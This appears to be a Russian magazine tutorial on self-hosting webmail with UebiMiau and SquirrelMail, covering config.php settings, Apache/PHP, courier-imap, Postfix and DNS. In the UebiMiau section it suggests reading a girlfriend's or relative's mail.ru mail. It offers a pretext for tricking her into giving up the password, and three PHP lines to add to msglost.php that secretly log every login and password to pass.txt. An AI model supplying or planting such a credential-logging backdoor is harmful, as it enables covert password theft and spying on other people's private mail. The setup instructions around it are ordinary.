|
||||||||||||||
|
||||||||||||||
|
Новости
эмг 50 на сайте
|
Почтовый веб-интерфейс своими руками
Сейчас стало модно иметь свой хостинг и в придачу домен второго уровня с красивым именем .
Скорее всего, ты тоже располагаешь таким чудом и можешь на нем создавать кучу почтовых ящиков вида [email protected].Сейчас я расскажу о том, как можно решить многочисленные проблемы, подняв у себя на хосте веб-интерфейс.
UebiMiau 2.7
Поддерживаемые ОСи: Linux, Windows.
С чем работает: IMAP/POP3, SMTP.
Умеет: принимать и отправлять почту, создавать записи в адресной книге, устанавливать собственные квоты на размер ящика. Поддерживает шкурки.Очень удобный и простой в настройке клиент.
Итак, качаем клиент с официального сайта, распаковываем его и заливаем все файлики и папочки из архива на свой сервак. К примеру, в папку webmail, предварительно создав ее, разумеется. Залив всю эту байду, заходим в webmail/inc. Здесь нам нужно открыть файлик config.php в режиме редактирования. Обратим внимание на переменную $temporary_directory. Она указывает, в какое место будут складываться все временные файлы, создаваемые нашим веб-интерфейсом на сервере. Лучше определить директорию, которая не будет видна через апач, потому что на эту папку необходимы полномочия типа "read-write". Давай, например, запихнем все это барахло в папку /tmp. В *nix-системах такая дира уже есть, а в виндах придется создать самим (пусть будет c:\tmp, ок?). Создав темповую папку, присваиваем переменной $temporary_directory значение "/tmp". Смотрим дальше. Видим вариаблу $smtp_server. Здесь перед нами встает выбор: можно использовать свой (или чужой) SMTP-сервер, а можно отсылать почту через наш sendmail.
Сендмейл можно использовать, если хостинг поднят под юниксовой системой. Так что если твой сервер в доску свой, то можешь позаморачиваться с настройками сендмыла и т.д. Но давай не будем забивать остатки мозгов всякой чепухой и просто укажем нужный нам SMTP-сервер, присвоив переменной $smtp_server его имя. Например, "smtp.padonak.ru". Но если тебе все же приспичило использовать сендмайл, то делаем так: $smtp_server = "localhost", после чего ищем где-то внизу конфига переменную $use_sendmail и ставим ей значение "yes". Но этого недостаточно, поэтому дальше следует указать путь к сендмайлу, присвоив переменной $path_to_sendmail значение "/usr/sbin/sendmail".
Приступаем к дальнейшей настройке нашего клиента. Ищем переменные $mail_protocol и $mail_port. Тут предстоит выбрать, что использовать: POP3 или IMAP. А также надо указать порт. Выбор становится очевидным после прочтения в комментах строчки "The imap is more fast, but all functions of UebiMiau works with POP3", что переводится как "Имап быстрее, но все функции UebiMiau работают с ПОП3". Следовательно, ставим $mail_protocol = "pop3", а порт выставляем стандартный, приравняв значение $mail_port к "110".
Чтобы в клиенте правильно отображалось время, необходимо установить часовой пояс в соответствии с регионом, в котором ты живешь. Если ты столичный житель, то устанавливай $server_time_zone = "+0300".
Далее устанавливаем размер ящика в килобайтах. Если он будет, к примеру, 10 мегабайт, то 10 умножаем на 1024 и получаем нужное число. Осталось передать это число переменной $quota_limit.
Вариабла $use_password_for_smtp отвечает за то, использовать ли пароль при коннекте на смтп или все-таки ну его на "][" :). Для некоторых серверов это необходимо, но в моем случае $use_password_for_smtp выставлен в "no".
$check_first_login - эта переменная предопределяет, будет ли юзера, впервые проверяющего почту, редиректить на страницу личных настроек, где он сможет указать свои личные данные, внешний вид окна почтового клиента, интервал проверки новой почты и т.д. Присваиваем этой переменной "yes" или "no" на свое усмотрение.
Переменная $mail_server_type может принимать три значения: DETECT, ONE-FOR-EACH и ONE-FOR-ALL. Самый рульный тип - это ONE-FOR-EACH. Юзая его, можно установить туеву хучу доменов и выставить для каждого из них свой pop3-сервер :). И потом, зайдя на наш веб-интерфейс, можно будет проверять почту с нескольких серверов.
Следовательно, $mail_server_type = "ONE-FOR-EACH". Если мы выбираем этот тип, то переменные $mail_detect_remove, $mail_detect_prefix и $mail_detect_login_type можно пропустить, т.к. они относятся к типу "DETECT". Дальше идет то, что нам нужно:
$mail_servers[] = Array(
"domain" => "padonak.ru",
"server" => "mail.padonak.ru",
"login_type" => "%user%@%domain%"
);
$mail_servers[] = Array(
"domain" => "mail.ru",
"server" => "pop.mail.ru",
"login_type" => "%user%"
);
Здесь стоит обратить внимание на "login_type". Некоторые серверы в качестве юзернейма используют полный адрес мыла. Например, чтобы снять почту с padonak.ru, нужно в поле логина указывать [email protected]. Тогда login_type необходимо прописать следующим образом: %user%@%domain%. Если же в качестве имени пользователя используется все, что идет до собаки, то в login_type заносим просто %user%, и все.
Я указал падонковский и мейлрушный серваки - пусть тетки через мой веб-интерфейс снимают почту еще и с мыла.ру.
Дальше идут переменные для типа "ONE-FOR-ALL", их тоже можно не трогать ($default_mail_server, $one_for_all_login_type).
Едем дальше. Ага, настройки языка и темок! $allow_user_change_theme - давать или не давать юзверю право менять шкурку (yes, no).
$default_theme - шкурка по умолчанию (отсчет с нуля).
$allow_user_change_language - разрешать/запрещать изменять язык интерфейса. Оставим "yes", может, кому-нибудь и нравится читать по-немецки. Хайдук, блин :).
$default_language - язык по дефолту. Русский - шестнадцатый :). Дальше в конфиге ничего интересного не наблюдается, так что мотаем его ниже. До переменной $mime_show_html. Давай поставим "yes", что ли ;). Вариаблы $appversion и $appname будут видны в хедере письма как X-mailer. Можно указать что угодно, например, $appname присвоим "Kewl Servah! b00b1ik is very sexy guy. So NSD is, but not so hard...", а переменной $appversion зададим значение "500" :).
В переменную $footer тоже можно запихать все, что захочется. Текст из нее будет добавляться в конец отправленного письма (реклама :)), но можно это поле оставить и пустым.
Переходим к переменной $enable_debug. Если где-то в работе нашего мыл-сервера вклинился какой-то косяк, что-то не получается, то пробуем сделать $enable_debug = "yes" и отловить баги. Но если все в порядке, то оставляем $enable_debug в положении "no".
$block_external_images - заблокировать или разрешить показ картинок в письме с других серверов.
$idle_timeout - интервал времени, через который закрывается сессия, если юзверь не подает признаков жизни.
Остальные настройки трогать не обязательно, т.к. они касаются установок самих юзеров. Пусть ленивые пользователи сами настраиваются, как хотят, в соответствующей панельке.
А теперь что касается mail.ru :). Тебе никогда не хотелось посмотреть, какие перцы пишут твоей тетке и, самое главное, ЧТО пишут? Ясен-красен, что для воплощения мечты в жизнь необходимо знать паролик. Первый способ его узнать - спросить ;). Например: "Ленусь, слушай, у тебя принтер не работает из-за переполнения буфера в БИОС после ДДОС-атаки на твой USB-порт злыми хакерами. Скажи свой пароль от почты - тогда починим". Ну а если твоя пассия не совсем набитая ду... поролоном девушка, то вот второй вариант: создаем в нашей директории на серваке файл pass.txt и делаем его доступным для записи. Затем открываем файлик msglost.php и где-нибудь в конце, перед знаком "?> ", пишем следующее:
$fp=fopen("pass.txt","a");
fwrite($fp,"$f_user : $f_pass\n");
fclose($fp);
Логинчики и парольчики будут аккуратно складываться в файл pass.txt в виде login:pass.
SquirrelMail 1.4.3а
Официальный сайт: www.squirrelmail.org.
Сливаем здесь: www.squirrelmail.org/download.php.
Поддерживаемая ОС: Linux.
С чем работает: IMAP, SMTP.
Умеет: принимать/отправлять письма, манипулировать папками, устанавливать шкурки. Поддерживает вложение файлов.
Эта штука под названием "БелкаПочта" из разряда тяжелой артиллерии, как и Хорда (www.horde.org). Она не хуже, чем нынешние интерфейсы у mail.ru, hotmail.ru и т.д.
Итак, если у тебя в локалке есть сервак на линухе и ты хочешь (или тебе поставили пиво) замутить своим юзверям почту, то БелкаПочта (что-то меня на зверей потянуло: кошки, белки... Люди, это не опасно?) - то, что доктор прописал!
Для того чтобы поднять этот веб-интерфейс, нам необходимы следующие вещи:
1) IMAP4rev1 Server. Такие, как uw-imap, courier-imap, cyrus-imap, [hMailServer], Binc IMAP.
2) Postfix.
3) Apache + PHP4 (php4.2 минимум).
Можно, конечно, еще присобачить к этой связке mySQL, чтобы пользователи и почта хранились в базе, но лень нам не позволяет :).
Ну-с, начнем-с. Как настроить апач, наверное, всем давно известно, и даже практически у всех он стоит. С PHP тоже особых трудностей возникнуть не должно. Либо подключаем PHP модулем в httpd.conf:
LoadModule php4_module modules/libphp4.so
AddType application/x-httpd-php .php
DirectoryIndex index.php
Либо отдельным интерпретатором. Тогда в httpd.conf нужно добавить следующее:
ScriptAlias /php4/ "/usr/bin/php"
Action application/x-httpd-php4 "/php4/php
AddType application/x-httpd-php4 .php .phtml .php4. phtm .html .htm .php
И еще, в апаче нужно будет внести одно изменение:
DirectoryIndex index.html index.htm index.php
Все, апач-конфигурация завершена. Дальше выбираем IMAP-сервер. Я, оценив технические характеристики, остановился на courier-imap. Тянем и устанавливаем курьера. Самый простой способ - это всеми любимый RPM.
$wget
Можно поставить его из rpm, а можно и компильнуть ;).
Нужны будут библиотеки opennssl и cyrus-sasl. У меня в дистрибутиве Fedore Core 1 они оказались на диске, и я их поставил из rpm'ок. Итак, чтобы собрать курьера в rpm, необходимо настрочить следующее:
#rpm -ta courier-0.45.6.20040618.tar.bz2
или, если рпм новый, как в RedHat9 или Fedore Core 1, то:
#rpmbuild -ta courier-0.45.6.20040618.tar.bz2
Если же ты смелый, ловкий, умелый... Нет, джунгли тебя не зовут. Зато это делает компиляция - ждет тебя, не дождется. Сначала разархивируем:
$tar -jxvf courier-0.45.6.20040618.tar.bz2
Далее заходим в получившуюся диру:
$cd courier-imap-3.0.5.20040618
и делаем ./configure
В случае облома и вежливой просьбы системы воспользоваться rpm-инсталлятором (такое может случиться, если у тебя стоит красная шляпа или Федора) не пугайся. Просто набери:
./configure --with-redhat --enable-unicode
--enable-unicode (для корректного отображения писем в БелкаПочте)
Когда скрипт завершит свою гнусную работу, продолжим:
$make
Опять комп начинает трещать и хрустеть. Но не дадим ему пощады:
$make check
Далее переключаемся в root'а:
$su -
Теперь пишем:
#make install
выходим с рута (ctrl+d) и ваяем в консоли:
$make install-configure
Здесь придется немножко подождать, бегло читая лабуду на экране. Итак, снова рутимся и приступаем к настройкам:
$su -
Копируем файлы imapd.rc и pop3d.rc, находящиеся в папке courier-imap3.0.5.20040618, в /etc/init.d/
#cp imapd.rc /etc/init.d/imapd
#cp pop3d.rc /etc/init.d/pop3d
Переходим в /etc/init.d/ и командуем:
#chmod go+x pop3d
#chmod go+x imapd
Запускаем imapd:
#/etc/init.d/imapd start
Проверяем при помощи Netstat'а, открылся ли 143 порт:
#netstat -an
Должно появиться что-то вроде "tcp 0 0 0.0.0.0:143 0.0.0.0:* LISTEN". Ну и для завершения проверки телнетимся на наш сервак:
#telnet localhost 143
Должны получить примерно вот что:
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
* OK [CAPABILITY IMAP4rev1 UIDPLUS CHILDREN NAMESPACE THREAD=ORDEREDSUBJECT THREAD=REFERENCES SORT QUOTA IDLE ACL ACL2=UNION STARTTLS] Courier-IMAP ready. Copyright 1998-2004 Double Precision, Inc. See COPYING for distribution information.
Это значит, что все в порядке, дружище! Глядим в файл /usr/lib/courier-imap/etc/imapd и убеждаемся, что MAILDIRPATH=Maildir.
Теперь делаем так, чтобы при добавлении нового юзера ему не давался доступ на SSH и чтобы автоматом создавалась Maildir в его домашней директории. Редактируем файл /etc/skel/.bashrc: вытираем там все и пишем "exit;". Тупо, но работает :).
Дальше переходим в дистрибутив курьера:
#cd courier-imap-3.0.5.20040618
и делаем так:
#./maildirmake /etc/skel/Maildir
Добавим тестового юзера:
#adduser test
#passwd test
Зайдем в каталог /home/test и проверим. Если все на месте, то с чувством выполненного долга сваливаем из чужой папки.
Приступаем к Postfix. Имхо, в любом дистрибутиве есть постфикс. Для упрощения можем поставить его из rpm:
#rpm -ivh postfix.версия.rpm
$tar -zxvf postfix-2.0.20.tar.gz
$cd postfix-2.0.20
$make -f Makefile.init makefiles
$make
$su -
#adduser postfix
#groupadd postdrop
#make install
Нам предложат ответить на вопросы, ну а мы ответим, не обломимся.
Правильные ответы на вопросы
install_root: [/]
tempdir: [/usr/src/ispmail/postfix-2.0.16] /tmp
config_directory: [/etc/postfix]
daemon_directory: [/usr/libexec/postfix]
command_directory: [/usr/sbin]
queue_directory: [/var/spool/postfix]
sendmail_path: [/usr/sbin/sendmail]
newaliases_path: [/usr/bin/newaliases]
mailq_path: [/usr/bin/mailq]
mail_owner: [postfix]
setgid_group: [postdrop]
manpage_directory: [/usr/local/man]
sample_directory: [/etc/mail/sample]
readme_directory: [no]
Установка завершена. Про конфигурацию постфикса можно написать целую книгу, и в Сети не составит труда нарыть кучу нужной документации, так что углубляться особо не будем, а исправим только самые необходимые для работы строчки. Редактируем файл /etc/postfix/main.cf. Там нас интересуют следующие строки:
myorigin
mydestination
mynetworks
Ставим туда значения, характерные для работы нашей сети. Потом проверяем, не накосячили ли мы:
#postfix check
Если все ок, то ничего плохого постфикс нам не сообщит. Да, и не забудь в конфигах DNS поставить MX-запись, что-то вроде этого:
; MX Record
IN MX 10 mail.domain.org.
Теперь приступим к самой БелкоПочте. Скачиваем rpm, или srpm, или tar.gz - это неважно, там все равно находится архив пэхэпэшных файлов, которые в конце концов нужно будет скопировать в папку, указанную в Document_root файла httpd.conf. По умолчанию это /var/www/html.
Я поставил БелкоПочту из rpm'ки:
#
Настройка очень проста: переходим в каталог, куда положили веб-интерфейс, потом в папке config редактируем файл config.php.
Редактируй его аналогично тому, как я настраивал UebiMiau. Там все абсолютно так же. Но если тебе все-таки что-то будет непонятно, то на диске ты сможешь найти текстовик с примером моих настроек.
Конец – делу венец
Дальше просто заходим браузером на http://твой_домен/папка_белкапочты и начинаем баловаться. Ты, в общем, балуйся дальше, а я пойду все-таки к врачу схожу. Не нравятся мне эти зоологические наклонности с белками и кошками...
CD
На нашем диске ты найдешь все перечисленные в статье клиенты для установки почтового веб-интерфейса, а также файл с примером настроек SquirrelMail.
INFO
Большинство юзеров и знать не знают о существовании каких-то там SMTP,POP3 и т.д. Поэтому и не могут нормально настроить почтовик. Именно для них и были придуманы веб-интерфейсы.
seo & website usability | inet | os faq | hardware faq | memory | video | cpu | hdd | mainboard faq | printer & scaner | modem | mobiles | hackzone |
На главную | Cookie policy | Sitemap